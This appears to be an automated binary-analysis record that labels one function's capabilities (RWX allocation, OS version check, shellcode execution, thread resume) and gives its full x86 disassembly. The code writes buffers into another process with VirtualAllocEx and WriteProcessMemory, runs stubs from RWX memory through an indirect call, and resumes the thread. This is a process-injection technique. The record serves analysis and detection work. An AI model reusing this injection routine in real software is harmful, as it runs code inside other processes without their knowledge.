Function at 0x4013d0
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov eax, dword [0x44206c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov dword [ebp - 0x34c], 0x7a0e16a1
mov ebx, ecx
mov eax, dword [ebp - 0x34c]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x354], ebx
mov dword [ebp - 0x348], 0x43b370
push esi
mov esi, edx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x364], edi
test eax, eax
jne 0x401424
mov dword [ebp - 0x348], 0x43b0c0
neg eax
push 0x226
sbb eax, eax
and eax, 0xffffffd5
add eax, 0x2af
mov dword [ebp - 0x358], eax
add eax, 3
and eax, 0xfffffffc
mov dword [ebp - 0x344], eax
lea eax, [ebp - 0x340]
push 0
push eax
call fcn.00416710
push esi
lea eax, [ebp - 0x340]
push 0x104
push eax
call fcn.0041a06a
mov eax, dword [ebp - 0x344]
mov esi, edi
mov ecx, 6
lea edi, [ebp - 0x138]
rep movsd dword es:[edi], dword [esi]
add esp, 0x18
add eax, 0x226
movsw word es:[edi], word [esi]
push 0x40
push 0x3000
push eax
push 0
push ebx
mov dword [ebp - 0x11e], 1
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x34c], edi
test edi, edi
je 0x401728
mov esi, dword [ebp - 0x358]
lea eax, [ebp - 0x35c]
push eax
push esi
push dword [ebp - 0x348]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4016f7
cmp dword [ebp - 0x35c], esi
jne 0x4016f7
mov esi, dword [ebp - 0x344]
lea eax, [ebp - 0x350]
push eax
push 0x226
lea eax, [ebp - 0x340]
add esi, edi
push eax
push esi
push ebx
mov dword [ebp - 0x348], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4016f7
cmp dword [ebp - 0x350], 0x226
jne 0x4016f7
cmp dword [ebp + 0xc], 0
jne 0x401668
push 0x114
xor edi, edi
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.00416710
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401578
cmp dword [ebp - 0x114], 5
jne 0x401582
cmp dword [ebp - 0x110], 2
jne 0x401582
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x3eb
jmp 0x4016fc
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push 0x52
push 0
call esi
mov dword [ebp - 0x344], eax
test eax, eax
je 0x401578
push 0x40
push 0x3000
push 0x14c
push 0
call esi
mov dword [ebp - 0x350], eax
test eax, eax
je 0x401610
mov edx, dword [ebp - 0x344]
mov ecx, 0x14
mov edi, edx
mov esi, 0x4429c0
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x4b
movsw word es:[edi], word [esi]
mov edi, eax
mov esi, 0x442890
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x34c]
lea esi, [eax + 0x12c]
push esi
mov dword [esi + 8], ecx
mov ecx, dword [ebp - 0x348]
push eax
mov dword [esi], ebx
mov dword [esi + 0x10], ecx
mov dword [esi + 0x18], 0
call edx
test eax, eax
jne 0x401656
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
mov ebx, dword [ebp - 0x344]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push dword [ebp - 0x344]
call esi
mov eax, dword [ebp - 0x350]
test eax, eax
je 0x40163f
push 0x8000
push 0
push eax
call esi
test edi, edi
je 0x401578
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [ebp - 0x348]
jmp 0x401674
mov ebx, dword [esi + 0x18]
test ebx, ebx
jne 0x401661
push 6
jmp 0x401608
mov edi, 1
jmp 0x401616
push ecx
push esi
push edi
mov ecx, ebx
call fcn.00401740
mov ebx, eax
test ebx, ebx
je 0x401578
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x360]
push eax
push 0x226
lea eax, [ebp - 0x340]
push eax
push esi
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4016e9
cmp dword [ebp - 0x360], 0x226
jne 0x4016e9
mov esi, dword [ebp - 0x11e]
mov dword [ebp - 0x344], esi
test esi, esi
jne 0x4016ee
mov edi, dword [ebp - 0x364]
lea esi, [ebp - 0x138]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x344]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016fc
mov esi, 0x3ec
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016fc
mov esi, 0x3ea
push 0x8000
push 0
push dword [ebp - 0x34c]
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004146e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 0x3e9
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004146e0
mov esp, ebp
pop ebp
ret